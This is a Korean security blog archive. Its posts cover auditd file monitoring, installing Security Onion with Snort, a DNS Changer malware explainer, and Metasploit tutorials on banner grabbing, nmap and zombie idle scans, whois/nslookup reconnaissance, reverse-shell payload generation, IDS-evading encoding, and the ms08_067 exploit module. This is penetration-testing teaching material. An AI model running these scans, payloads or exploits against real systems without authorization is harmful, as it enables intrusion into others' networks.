보안vs해킹2012. 10. 26. 06:36

개요

시스템 관리자로써 관심있는 사항은 “어떻게 사용자들의 읽고 쓰는 것을 관리할 수 있을까? 어떻게 시스템의 무결성을 보장할 것인가?” 하는 점이다.

해결책은 2.6 커널의 audit시스템을 이용하는 것이다. 대부분의 리눅스에는 auditd 데몬이 깔려서 나오고 이는 사용자들의 디스크 액세스를 관리하게 된다. /etc/audit.rules를 통해 설정이 되고 audit.rules에서 로그의 경로나 다른 세팅을 바꿔줄 수 있다. 기본설정값으로 충분히 사용가능하기도 하다.

설치 및 실행

설치와 실행을 위해서 몇가지 필요한 툴이 있다.

auditctl: 커널의 audit시스템을 관리하고 상태, 추가, 삽입과 같은 시스템을 관리하고 특정파일에 대한 모니터링을 실시한다.

ausearch: 서치를 실행한다.

aureport: audit시스템의 리포트에 사용된다.

기본적으로 audit을 2.6 커널에 설치되어 있지만 그렇지 않다면 다음과 같이 설치해준다.

# yum install audit

그리고 서비스를 실행해보자

# /etc/init.d/auditd start

설치가 끝났다면 기능들을 설정해 보겠다. 우선 /etc/passwd 폴더의 변경을 검열하고 싶다면 아래와 같이 설정한다.

# auditctl -w /etc/passwd -p war -k password-file

위에서 –p war는 권한을 설정하는 것이고 w-write, x-execute, a-append 그리고 r-read의 권한을 부여하게 된다.

즉 위의 명령어를 통해 여러분은 쓰기, 추가, 읽기와 관련된 사항에 대한 로그를 받게 된다.

결과값 검색

누가 접근을 했고 어떤 변경을 하였는지는 다음의 명령어를 통해 알 수 있다.

# ausearch -f /etc/passwd

이에 대한 결과값은 아래와 같이 나오게 된다.

type=PATH msg=audit(03/16/2007 14:52:59.985:55) : name=/etc/passwd flags=follow,open inode=23087346 dev=08:02 mode=file,644 ouid=root ogid=root rdev=00:00
type=CWD msg=audit(03/16/2007 14:52:59.985:55) : cwd=/webroot/home/lighttpd
type=FS_INODE msg=audit(03/16/2007 14:52:59.985:55) : inode=23087346 inode_uid=root inode_gid=root inode_dev=08:02 inode_rdev=00:00
type=FS_WATCH msg=audit(03/16/2007 14:52:59.985:55) : watch_inode=23087346 watch=passwd filterkey=password-file perm=read,write,append perm_mask=read
type=SYSCALL msg=audit(03/16/2007 14:52:59.985:55) : arch=x86_64 syscall=open success=yes exit=3 a0=7fbffffcb4 a1=0 a2=2 a3=6171d0 items=1 pid=12551 auid=unknown(4294967295) uid=lighttpd gid=lighttpd euid=lighttpd suid=lighttpd fsuid=lighttpd egid=lighttpd sgid=lighttpd fsgid=lighttpd comm=grep exe=/bin/grep

audit(03/16/2007 14:52:59:985:55)는 시간을 나타내고 uid=lighttpd gid=lighttpd는 사용자와 속한 그룹을 보여준다. -i옵션을 통해 수치를 문자로 변환할 수도 있다. exe=”/bin/grep”는 /etc/passwd에 접근하기 위해 해당명령어를 사용했다는 것을 보여주고 perm_mask=read 해당 파일을 읽었다는 뜻이다.

그러므로 위의 검색결과를 통해 lighttpd그룹의 lighttpd사용자가 grep명령어를 통해 passwd파일을 읽었음을 알 수 있다.

다른 유용한 기능

특정 시간을 검색하는 방법은 아래와 같다.

# ausearch -ts today -k password-file 

# ausearch -ts 3/12/07 -k password-file

특정한 행동에 대한 검색도 가능하다.

# ausearch -ts today -k password-file -x rm 
    
# ausearch -ts 3/12/07 -k password-file -x rm

어떠한 사용자가 접근했는지에 대한 검색도 가능하다.

# ausearch -ts today -k password-file -x rm -ui 506 
    
# ausearch -k password-file -ui 506
Posted by 구텐모르겐
보안vs해킹2012. 10. 16. 06:04

 

Security Onion 설치가이드: Snort를 가장 쉽게 설치하는 법

 

개요

 

Security Onion은 Doug Burks라는 네트워크 보안쪽에 종사하는 사람이 만든 리눅스 배포판(Linux Distro.)이다. 백트랙 (Back Track)과 같이 여러가지 툴들을 모아놓은 라이브 씨디로 Security Onion 하나의 설치만으로 여러개의 네트워크 모니터 센서를 관리할 수 있다. Mandiant라는 네트워크 보안회사에 일하는 걸로 보이는데 Security Onion과 관계가 있는것 처럼 보이지는 않는 걸로 보인다.

 

특징

 

Security Onion 이 다른 네트워크 시스템과 다른점은 설치하는데 있어 엄청나게 편리하다는 점이다. 내 기억에 Snort를 알게 된 것이 2005년이었지만 Snort를 설치하고 사용하기까지는 몇개월의 시간이 걸렸던걸로 기억할만큼 dependency문제때문에라도 Snort는 작업하기 힘든 툴로 인식되어 있었다. 하지만 Security Onion을 통해서는 Snort뿐만 아니라 Suricata와 같은 네트워크 모니터링 센서를 사용할 수 있고 Snorby, Sguil, Squert와 같은 모니터링 툴을 이용해 룰을 관리할 수 있다. 이처럼 여러개의 툴들을 설치하는데 걸리는 시간을 Security Onion을 통해 혁신적으로 단축시킬 수 있다는 점이 Security Onion의 특징이다. 개인적으로 Security Onion에 대한 지나치리만치 찬사를 보내지만 이 또한 충분하지 않다고 생각될 정도로 네트워크 시큐리티 모니터 분야에서 필수적인 툴임에 분명하다.

 

사양

 

메모리는 1GB로 충분하지만 16GB가 추천사양이다. 데이타 공간은 90%가 되면 자동으로 삭제되지만 일반적으로 50Mb/s 의 전송속도라면 하루에 540GB의 패킷이 생성되게 된다. 물론 모든 패킷을 다 저장하지는 않지만 (팬타곤은 한다고 하던데) 그만큼 패킷을 저장하는데 큰 용량이 필요하므로 저장공간을 넉넉히 준비하는게 좋다. 아직 64bit 는 배포되지 않고 있다. 자세한 스펙은 아래의 링크를 참조 바란다. http://code.google.com/p/security-onion/wiki/Hardware

 

설치

 

현 최신버전은 12.04 BETA이고 http://sourceforge.net/projects/security-onion/files/에서 라이브 씨디를 받을 수 있다.

 

한번 간단히 맛을 보려는 사용자나 설치하면 안되는 시스템에서는 live로 부팅하고 아니면 세번째 칸에 있는 install을 통해 설치를 시작한다.

 

우분투 버전의 Xfce 데스크탑 환경의 xubuntu

 

21세기인 만큼 설치는 영어로. 물론 한글도 지원하지만 한글을 이해하는 것도 쉽지는 않을 것이다.

 

시간세팅은 본인의 GMT에 맞추면 되지만 Snort가 저장하는 시간은 GMT이다. 가끔 시스템 시간이 안맞다고 포럼에 올라오는 사람들이 있는데 Snort 혹은 Security Onion은 GMT를 따른다는 점을 명시하자.

 

기본 키보드는 영어로.

 

리눅스 파티션에 특별한 설정이 필요하지 않다면 'Erase and use the entire disk'를 설정한다.

 

이름과 패스워드를 등록한다. 시스템에 필요한 정보이고 Snort에는 차후에 다시 생성해야 한다.

 

클릭 Install!

 

자 이제 Security Onion이 설치되었다. 바탕화면에 보면 친절하게도 'Setup'이라는 아이콘이 있는데 이걸 클릭하면 Snort(또는 Suricata), Sguil, Snorby 그리고 Squert가 설치되게 된다.

 

당연히 Yes

 

여기서는 'No, use Advanced Setup'으로 간다. Quick Setup보다 본인이 원하는 세팅을 조정해주려면 Advanced Setup으로 가자.

 

Snort에서 센서라고 하면 네트워크 패킷을 받는 서버를 말하고 큰 네트워크에서는 여러개의 센서를 동시에 관리하기도 하는데 해당 서버가 센서인지 아님은 관리모드 서버인지를 물어보는 것이다. 여기서는 Both를 선택한다.

 

Suricata를 원한다면 No를 선택한다. 하지만 Snort를 선택하는 것을 추천한다.

 

네트워크 인터페이스가 여러개일 경우에 모니터할 것을 선택하는 것으로 여기서는 하나밖에 없으므로 eth0을 선택한다.

 

Snort에 쓰일 룰을 선택하는 창이다. Snort는 매달 30불정도 내면 최신 룰을 다운 받게 해주고 가입만하면 1달지난 룰을 무료로 받게 해준다. 또한 Emerging Threats GPL은 무료 룰로써 개인적으로 사용하기에는 문제가 없다. 물론 설치후에 계속적인 룰의 업데이트는 꼭 필요하다. 우선은 첫번째의 Emerging Threats GPL을 선택한다.

 

이메일로 아이디 역할을 하게 되므로 스팸걱정은 안해도 된다.

 

패스워드

 

패스워드 확인

 

자, 설치가 시작되니 고칠거 있으면 No로 가서 고치세요.

 

몇분만에 모든 센서와 모니터링 툴이 완성 되었다. 기본적인 룰은 /etc/nsm/rules/downloaded.rules에 들어가 있는데 16,000개가 넘는 룰이므로 본인이 확인후 쓸모없는것들은 지워줘야 한다.

 

바탕화면에 Squert 아이콘이 있을 것이다. Security Onion의 모든 웹서버는 https이므로 Certificate질문에 Yes라고 하면 다음과 같이 결과값이 나타나게 된다.

 

또한 바탕화면에 Snorby가 있는데 차세대 각광받는 Snort 모니터링 툴이다. 클라우드 버젼도 있어서 한달에 $10만 내면 웹브라우저를 통해 관리 할 수 있다.

 

자 이제 모든 설치가 끝났으니 아래의 사이트에 가서 본인의 센서가 작동하는지 확인해보자.

 

웹브라우저에서 http://testmyids.com 을 쳐보자.

 

위의 결과값은 Wireshark를 통해서 패킷을 캡춰한 사진이다. 위에서 볼 수 있듯이 외부이용자가 루트 권한으로 접근을 시도한 것을 볼 수 있다. 이제 이 시도한 것이 Squert와 Snorby에 감지되었는지 확인해보자.

 

Squert화면에 보면 마지막에 ET POLICY curl User-Agent Outbound라는 메세지가 보일것이다. 이로써 센서가 정확히 작동하고 있음을 알 수 있다. Snorby로 좀 더 자세히 알아보자.

 

Snorby를 통해 ASCII값을 볼 수 있는데 다음과 같이 센서에 잘 모니터되고 있음이 나타났다. Snorby의 강점은 이렇게 ASCII값으로 결과값을 보여줄 뿐만 아니라 Snorby관리툴을 통해서 룰을 고칠 수 있다. Squert나 BASE를 이용한다면 해당 룰로가서 룰을 비확성화 시켜줘야 하지만 Snorby는 클릭만으로 손쉽게 룰을 관리 할 수가 있다. 또한 트위터와 같은 Ruby on Rails를 이용해서 사용자의 눈에 편하다는 점이 있다.

 

안타깝지만 BASE는 1년여간 업데이트가 없어서 (현 1.4.5) Doug Burks나 Joel Esler (Snort Senior Engineer)같은 사람들은 BASE를 권장하지 않는다.

 

Security Onion을 설치하면 Sguil이라는 모니터링 툴도 함께 설치가 되는데 Sguil은 웹으로 관리가 되지 않는 단점이 있다. 하지만 Sguil은 큰 데이터분석에 강점을 가지고 있고 속도면에서도 상당히 빠르다. Security Onion의 데이타베이스를 보면 Snorby와 Sguil를 각각 다른 디비에 저장하고 있다. 비슷한 결과값들을 왜 다른 디비에 저장하는가 생각할 수도 있지만 Snorby만의 강점이 있고 Sguil만의 강점이 있으므로 두개를 번갈아가면서 사용하는 것이 일반적인 시큐리티 관리자가 사용하는 가장 무난한 방법이라고 생각한 듯 하다. 참고로 많은 전문가들은 이러한 툴을 사용하지 않고 tcpdump만 사용한다고 들었다. 아마도 실제모니터링 보다는 케이스스터디에 좀더 집중해서 그런 듯 하다.

 

애필로그

 

1. 프록시 설정

/etc/environment에 아래와 같이 설정한다.

export http_proxy=https://server:port
export https_proxy=https://server:port
export ftp_proxy=https://server:port

2. 만약 메모리가 4GB가 넘는다면 아래의 링크를 참조해서 PAE를 설정해 준다.

https://help.ubuntu.com/community/EnablingPAE

 

3. 커널 네트워크 버퍼 늘리기

echo "net.core.netdev_max_backlog = 10000
net.core.rmem_default = 50000000
net.core.rmem_max = 50000000
net.ipv4.tcp_mem = 194688 259584 389376
net.ipv4.tcp_rmem = 1048576 4194304 33554432"
| sudo tee /etc/sysctl.d/30-securityonion.conf
sudo sysctl
-p /etc/sysctl.d/30-securityonion.conf

4. 우분투 업데이트 하기

sudo apt-get update && sudo apt-get dist-upgrade

5. 센서 리스타트 하기

sudo nsm_sensor_ps-restart
Posted by 구텐모르겐
보안vs해킹2012. 7. 7. 01:56


DNS Changer Malware가 무엇인가?

작년 11월 8일, FBI와 NASA-OIG 그리고 에스토니안 경찰은 "Operation Ghost Click"이라는 사이버 범죄집단을 체포하였다. 이들은 "Rove Digital"이라는 회사를 설립후 DNS 값을 바꾸는 바이러스를 뿌린 혐의를 가지고 있다. 이 바이러스는 TDSS, Alureon, TidServ 그리고 TDL4 바이러스 라고도 불린다.

DNS Changer Malware는 어떻게 작동하는가?

Rove Digital에 의해 움직이는 봇넷은 사용자들의 DNS (Domain Name Service)를 바꾸고 사용자들을 에스토니아, 뉴욕 그리고 시카고에 있는 그들의 서버로 접속시킨다. 그러면 이 가짜 서버들은 사용자들에게 악성 혹은 가짜의 정보를 제공하고 사용자의 검색엔진을 바꾸고 가짜 상품이나 위험한 상품들을 판매하게 된다. 모든 인터넷의 검색은 DNS에서 시작하므로 사용자들은 그들이 어디에 있는지 알지 못한채 정보를 노출하게 된다. 예전에 중국에 있었던 가짜 앱스토어를 생각하면 되겠다.

법원의 명령으로 Rove Digital은 인터넷 시스템 컨소시엄에 의해 관리되었었고 7월 9일이 만료일이다. 이러한 시간을 제공함으로 사용자들은 그들의 네트웍에 감염된 사용자가 없는지에 대한 검사를 할 수 있고 피해를 막을 수 있었다.

나 자신을 어떻게 보호해야 하는가?

당신이 DNS Changer Malware에 감염되어 있는지 알려면 아래의 링크를 통해 검사해 볼 수 있다.

여기를 클릭하세요

아직까지도 수만개의 사용자들이 이 바이러스에 감염되어 있고 당신의 컴퓨터도 안티바이러스가 1년이상 업데이트 되지 않았다면 의심해 보아야 할 것이다.

FBI 추산 277,000개의 컴퓨터가 전세계적으로 감염되어 있고 아직도 64,000개의 컴퓨터가 미국내에 감염되어 있다고 하고 캐나다에서는 7,000개의 컴퓨터가 아직 활동중이라고 한다.

만약 당신의 컴이 월요일까지 감염되어 있다면 월요일이 되면 당신은 컴퓨터는 인터넷 연결을 하지 못할 것이고 엔지니어를 불러서 해당 문제를 해결해야 할 것이다.

문제는 이 전세계적인 해커들이 570,000개의 컴퓨터를 감염시켜 놓았고 FBI가 작년에 압수수색에 들어 갔을때 알게 된것은 만약 해커들의 서버를 꺼버리게 되면 감염된 사용자들은 인터넷에 접속할 수 없게 된다는 것이다.

아주 예외적인 경우로 FBI는 세이프티 넷이라는 서버를 설치했다. 이 서버를 통해 만약 해커들의 서버가 작동하지 않을 경우에 DNS 서버의 역할을 하도록 해서 사용자들에 인터넷이 끊어지지 않도록 해 놓았다. 하지만 해당 시스템도 월요일 9:01pm에 법원의 명령에 의해 작동을 멈추게 된다.

Posted by 구텐모르겐
보안vs해킹2012. 1. 17. 07:25
Snort, Snorby, Barnyard, PulledPork, Daemonlogger를 함께 설치하는 것을 Security-Onion Project라고 부른다.



하나하나 따라하게 되면 여러가지 보안설정에 대한 많은 지식을 가질 수 있을 것이다.
Posted by 구텐모르겐
보안vs해킹2012. 1. 5. 06:12



여기서는 NeXpose, Nessus, OpenVAS 그리고 직접 스캔을 통한 취약점을 찾아서 해당툴을 Metasploit에서 이용하는 법을 알아보겠다.

Banner Grabbing

상대방에게 노출되지 않고 간단하게 취약점을 간단히 찾는 방법이 있다.

root@bt:/opt/framework3/msf3# nc 192.168.1.203 80
GET HTTP 1/1
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.1

위의 결과물에서 웹서버를 Microsoft-IIS/5.1을 사용함을 알 수 있다. 현재 버전 7이 사용되므로 많은 취약점을 찾을 수 있을 것이다.

이보다 좀 더 전문적이고 네트워크의 스캔이 가능한 방법이 있는데 가장 많이 사용되는 툴로는 NeXpose와 Nessus가 있겠다. 두 프로그램 모두 무료 버전이 있고 개인용으로는 사용가능하지만 기업용은 정품을 구매해야 한다. 

NeXpose

<a href="http://www.rapid7.com/vulnerability-scanner.jsp" target="_blank"> http://www.rapid7.com/vulnerability-scanner.jsp</a>에서 다운가능하고 설치에 어려움은 없으리라 본다.

NeXpose의 기본포트는 3780이고 https://localhost:3789 로 접근하면 된다. 그런 후 New Site를 생성후 원하는 네트워크대를 192.168.1.0/24와 같은 형식으로 해서 스캔해주면 된다. 여기서 NeXpose를 다룰수는 없으므로 자세한 사항은 해당 웹사이트에서 정보를 얻기를 바래요.

스캔된 결과물을 xml로 변환해서 저장해주길 바란다.

자 이제 다시 Metasploit 콘솔로 가보자. 콘솔에서 아래와 같이 데이터 베이스에 연결을 해보자.


msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import /tmp/host_195.xml
[*] Importing 'NeXpose Simple XML' data
[*] Importing host 192.168.1.195
[*] Successfully imported /tmp/host_195.xml
msf > db_hosts -c address,svcs,vulns
Hosts
=====
address Svcs Vulns Workspace
------- ---- ----- ---------
192.168.1.195 8 268
Posted by 구텐모르겐
보안vs해킹2011. 11. 29. 05:30

MSFconsole에서 Nmap 돌리기

msfbook 데이타베이스로 연결을 알아보겠다.

msf > db_connect postgres:toor@127.0.0.1/msf3

msfconsole에서 db_nmap 명령을 통해서 nmap을 사용할 수 있다.

msf > db_nmap -sS -A 172.16.32.131
Warning: Traceroute does not support idle or connect scan, disabling...
Nmap scan report for 172.16.32.131
Host is up (0.00056s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
21/tcp ..open ftp Microsoft ftpd
25/tcp open smtp Microsoft ESMTP 6.0.2600.2180 ..
80/tcp open http Microsoft IIS webserver 5.1
|_html-title:
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
443/tcp open https?
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open msrpc Microsoft Windows RPC
1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM
3389/tcp open microsoft-rdp Microsoft Terminal Service
MAC Address: 00:0C:29:EA:26:7C (VMware)
Device type: general purpose
Running: Microsoft Windows XP|2003 ..
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop
Service Info: Host: ihazsecurity; OS: Windows
Host script results:
|_nbstat: NetBIOS name: IHAZSECURITY, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:ea:26:7c
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| Name: WORKGROUP\IHAZSECURITY
|_smbv2-enabled: Server doesn't support SMBv2 protocol
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 33.51 seconds




이런 스캔을 통해서 db_services를 통해서 데이타베이스에 저장된 스캔결과값을 알 수 있다.

msf > db_services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.32.131 135 tcp msrpc open Microsoft Windows RPC
172.16.32.131 139 tcp netbios-ssn open
172.16.32.131 445 tcp microsoft-ds open Microsoft Windows XP microsoft-ds
172.16.32.131 777 tcp unknown open
172.16.32.131 1433 tcp ms-sql-s open Microsoft SQL Server 2005 9.00.1399; RTM

Metasploit
를 이용한 포트 스캔

Nmap의 스캐닝 기능뿐만 아니라 Metasploit에 관한 포트스캐너에 대해도 알아보겠다. 이 스캐닝 기능을 통해서 타겟 호스트의 접근과 공격등 다양한 방법을 제시한다.

msf > search portscan

프토스캔의 리스트를 통해 scanner/portscan/syn에서 192.168.1.155을 스캔해보겠다.

msf > use scanner/portscan/syn
msf auxiliary(syn) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155
msf auxiliary(syn) > set THREADS 50
THREADS => 50
26 Chapter 3
msf auxiliary(syn) > run
 [*] TCP OPEN 192.168.1.155:135
[*] TCP OPEN 192.168.1.155:139
[*] TCP OPEN 192.168.1.155:445
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(syn) >msf > use scanner/portscan/syn
msf auxiliary(syn) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155
msf auxiliary(syn) > set THREADS 50
THREADS => 50
26 Chapter 3
msf auxiliary(syn) > run
[*] TCP OPEN 192.168.1.155:135
[*] TCP OPEN 192.168.1.155:139
[*] TCP OPEN 192.168.1.155:445
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(syn) >


135, 139
그리고 445의 포트가 열려있음을 볼 수 있다.

Posted by 구텐모르겐
보안vs해킹2011. 11. 23. 06:57

Metasploit를 이용한 스캔

앞에서 여러번 언급했던 nmap을 이용한 방법이 가장 보편적인 능동적 정보수집의 방법이라 할 수 있다. 하지만 여기서는 metasploit를 이용한 좀 더 공격적인 스캔법에 대해 알아 보겠다.

우선 데이타베이스를 사용해야 하는데 여기서는 postgresql을 이용하겠다. 아래와 같이 postgresql을 실행해보겠다.

root@bt~# /etc/init.d/postgresql-8.3 start

실행후 metasploit의 Framework을 데이타베이스에 연결한다. metasploit가 설치될때 postgresql이 postgres/toor의 계정으로 설치되어 있다.

msf > db_connect postgres:toor@127.0.0.1/msfbook

postgres를 아이디로, toor를 패스워드로, 그리고 msfbook를 데이타베이스로 하여 연결하였다. 현재의 연결을 확인하려면 db_status를 타입해보면 알 수 있다.

Nmap의 데이타를 Metasploit로 입력

nmap이나 기타 다른 스캐닝툴을 이용한 결과물들을 metasploit를 통해 입력가능한데 nmap에서는 -oX라는 명령어로 결과값을 xml로 출력 가능하다.

nmap -Pn -sS -A -oX Subnet1 192.168.1.0/24

이렇게 출력된 값을 이용해서 metasploit로 입력해보겠다.

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import Subnet1.xml
msf > db_hosts -c address
Hosts
=====
address
-------
192.168.1.1
192.168.1.10
192.168.1.101
192.168.1.102
192.168.1.109
192.168.1.116
192.168.1.142
192.168.1.152
192.168.1.154
192.168.1.171
192.168.1.155
192.168.1.174
192.168.1.180
192.168.1.181
192.168.1.2
192.168.1.99
msf >

Nmap을 이용한 다양한 스캔방법: TCP Idle Scan

TCP Idle scan은 비활성화된 타겟 호스트의 IPID를 알아내는 방법으로 연속되는 통신에서 다음의 IPID값을 알아냄으로 차후에 추가적인 활동을 가능하게 해준다.



msf > use auxiliary/scanner/ip/ipidseq
msf auxiliary(ipidseq) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
GWHOST no The gateway IP address
INTERFACE no The name of the interface
LHOST no The local IP address
1. RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
SNAPLEN 65535 yes The number of bytes to capture
2. THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds

위의 나열된 스캐너들은 ipid값을 알아내는 옵션들이다. 1번의 RHOSTS는 CIDR의 스캔등 타겟호스트의 네트워크의 범위를 정해줄때 사용되는 옵션이고 2에서의 THREADS값은 수치를 높일수록 PCU점유율이 높아진다. 디폴트는 1이고 여기서는 50을 줘 보겠다.

msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(ipidseq) > set THREADS 50
THREADS => 50
msf auxiliary(ipidseq) > run
[*] 192.168.1.1's IPID sequence class: All zeros
[*] 192.168.1.10's IPID sequence class: Incremental!
[*] Scanned 030 of 256 hosts (011% complete)
[*] 192.168.1.116's IPID sequence class: All zeros
1. [*] 192.168.1.109's IPID sequence class: Incremental!
[*] Scanned 128 of 256 hosts (050% complete)
[*] 192.168.1.154's IPID sequence class: Incremental!
[*] 192.168.1.155's IPID sequence class: Incremental!
[*] Scanned 155 of 256 hosts (060% complete)
[*] 192.168.1.180's IPID sequence class: All zeros
[*] 192.168.1.181's IPID sequence class: Incremental!
[*] 192.168.1.185's IPID sequence class: All zeros
[*] 192.168.1.184's IPID sequence class: Randomized
[*] Scanned 232 of 256 hosts (090% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ipidseq) >

Incremental을 보이는 호스트는 우리가 보낸 스캔값에 1을 추가한 값을 응답으로 보내온 호스트들이다. 다음에는 1번의 192.168.1.109를 통해 192.168.1.155를 좀 더 자세히 스캔해보겠다.

msf auxiliary(ipidseq) > nmap -PN -sI 192.168.1.109 192.168.1.155
[*] exec: nmap -PN -sI 192.168.1.109 192.168.1.155
Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class: Incremental
Interesting ports on 192.168.1.155:
Not shown: 996 closed|filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:E4:59:7C (VMware)
Nmap done: 1 IP address (1 host up) scanned in 7.12 seconds
msf auxiliary(ipidseq) >

다음과 같이 능동적 정보 수집이지만 192.168.1.109라는 좀비피씨를 이용해서 타겟 호스트를 스캔하여 보았다.

내일은 이 192.168.1.109를 좀더 후벼보도록 하겠다.

Posted by 구텐모르겐
보안vs해킹2011. 11. 22. 05:20
프록시(proxy)서버를 쓰지 않는 상황에서 타겟 호스트의 네트워크 스캔은 적에게 나의 정보를 노출시키게 되는 단점이 있다. 가급적 공격자의 정보를 노출시키지 않는 스캔법을 Passive Information Gathering이라고 표현하는데 '수동적 정보 수집' 정도로 표현되겠다.

whois Lookup

whois를 통해서 타겟 호스트의 기본적인 정보를 얻을 수 있고 때때론 이메일이나 전화번호도 얻을 수 있다.

msf > whois secmaniac.net
[*] exec: whois secmaniac.net
. . . SNIP . . .
Intelligence Gathering 17
Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
Domain Name: SECMANIAC.NET
Created on: 03-Feb-10
Expires on: 03-Feb-12
Last Updated on: 03-Feb-10
Domain servers in listed order:
NS57.DOMAINCONTROL.COM
NS58.DOMAINCONTROL.COM

위에서 보듯이 godaddy.com에서 서비스 하고 DNS server는 comaincontrol.com이다. 그러므로 secmaniac.net은 서버를 가지고 있지 않은 호스트므로 공격대상에서 제외한다.


Nslookup

nslookup명령어를 통해 다음과 같은 정보를 얻을 수 있다.

root@bt:~# nslookup
set type=mx
> secmaniac.net
Server: 172.16.32.2
Address: 172.16.32.2#53
Non-authoritative answer:
secmaniac.net mail exchanger = 10 mailstore1.secureserver.net.
secmaniac.net mail exchanger = 0 smtp.secureserver.net.

set type=mx는 secmaniac.net의 메일서버를 묻는 명령어로써 secureserver.net이 타겟 호스트의 메일 서버임을 알 수 있다. secureserver.net은 웹호스팅 서버이므로 추가적인 스캔은 무의미하다.

Posted by 구텐모르겐
보안vs해킹2011. 11. 17. 13:14

Metasploit의 세가지 중요한 툴들을 알아봤다면 이제는 기능들에 대해 알아보겠다. 이 기능들은 Metasploit에 있는 기능들로써 특히 특정한 공격을 행할때 중요하게 사용된다.

MSFpayload: msfpayload기능은 shellcodeFramework없이도 실행가능하게 만들어주는 기능을 한다. 이는 C, Ruby, JavaScript, Visual Basic과 같은 형태로 생성 가능하다. 가령 Python으로 작업중이라면 C언어형태로의 실행이 가능하고 웹에서 사용한다면 JavaScript의 형태가 가장 적당할 것이다. msfpayload -h를 통해서 기능들을 알 수 있다.

root@bt:/# msfpayload -h

msfcli와 같이 추가기능에 대해 알고자 하면 옵션 O를 넣어주면 된다.

root@bt:/# msfpayload windows/shell_reverse_tcp O



MSFencode: msfpayload로 생성된 shellcode는 다양한 환경에서 사용가능 하지만 null 캐릭터가 있을시 즉, x00s나 xffs가 있을 시에는 프로그램이 강제로 종료된다. 또한 이러한 shellcode는 IDS에 의해 쉽게 탐지되고 네트워크의 접근이 거부되어진다. 그래서 제안된게 msfencode이고 이 유틸이 그러한 코드들을 수정해준다. msfencode의 리스트를 보려면 옵션 l을 붙여주면 된다.

root@bt:~# msfencode -l

Nasm Shell: nasm_shell.rb는 어셈블리어를 사용할때 유용하고 각 코드를 알고자 할때 사용된다. 즉 jmp esp에 대한 내용을 알고자 할때 다음과 같이 사용된다.

root@bt:/opt/framework3/msf3/tools# ./nasm_shell.rb
nasm > jmp esp
00000000 FFE4
jmp esp

Posted by 구텐모르겐
보안vs해킹2011. 11. 16. 03:48

MSFconsole: Metasploit Framework에서 가장 핵심이 되는 부분으로써 가장 안정적이고 많은 기능을 제공하는 툴중에 하나이다. msfconsoleMetasploit Framework에서 제공할 수 있는 모든 옵션을 구현가능하고 이 툴 하나만으로 exploit을 실행하거나, auxiliary modules을 실행하거나 하는 등의 모든 기능을 수행해 낼수 있다. 기본적으로 Metasploit Framework은 계속적으로 업데이트되면서 발전해나가는 툴이지만 msfconsole은 항상 변하지 않는 중요한 역할을 한다. 기본적인 msfconsole의 기능을 익힘으로써 다른 업데이트의 기능을 손쉽게 적용시킬수 있다. 아마도 이 msfconsole에 대한 이야기는 계속 하게 될듯하다.

MSFconsole의 실행: 컴멘드에서 (물론 백트랙5에서) msfconsole을 친다.

root@bt:/# cd /opt/framework3/msf3/
root@bt:/opt/framework/msf3# msfconsole
< metasploit >
------------
  \ ,__,
  \ (oo)____
      (__) )\
      ||--|| *
msf >

help명령어를 통해 기본적인 명령어들을 익힐 수 있다.

MSFcli: msfclimsfconsole는 Framework에 접속하는데 서로 다른 방법을 사용한다. msfconsole은 사용자적인 측면에서 모든 기능에 대한 접근이 가능하다면 msfcli는 다른 콘솔툴과의 스크립팅하는데 중심이 되어 있다. Framework에 값을 전달해주는 것이 아니라 컴멘드를 통해 다른 콘솔들과의 직접적인 연결을 가능하게 해준다. 또한 exploit와 auxiliary modules의 실행을 지원하고 또한 modules을 테스트할때에도 유용하게 사용된다. 만약 여러분이 정확히 어떠한 툴과 어떠한 기능을 사용할지에 대해 알고 있다면 msfclimsfconsole보다 확실히 여러분의 작업을 수행하는데 도움을 줄 것이다.

root@bt:/opt/framework3/msf3# msfcli -h
Usage: /opt/framework3/msf3/msfcli <exploit_name> <option=value> [mode]
==============================================================================
Mode Description
---- ---------------
(H)elp You're looking at it, baby!
(S)ummary Show information about this module
(O)ptions Show available options for this module
(A)dvanced Show available advanced options for this module
(I)DS Evasion Show available ids evasion options for this module
(P)ayloads Show available payloads for this module
(T)argets Show available targets for this exploit module
(AC)tions Show available actions for this auxiliary module
(C)heck Run the check routine of the selected module
(E)xecute Execute the selected module
root@bt:/opt/framework3/msf3#


MSFcli 예제: 이제 msfcli의 사용법에 대해 간단히 알아보겠다. 여러분이 Metasploit을 사용중에 어려움에 부딧힐때 옵션 O를 통해 많은 도움을 받을 수 있다. 예를 들어 아래와 같이 ms08_067_netapi를 사용할때 옵션 O를 붙이면,

root@bt:/# msfcli windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 0.0.0.0 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


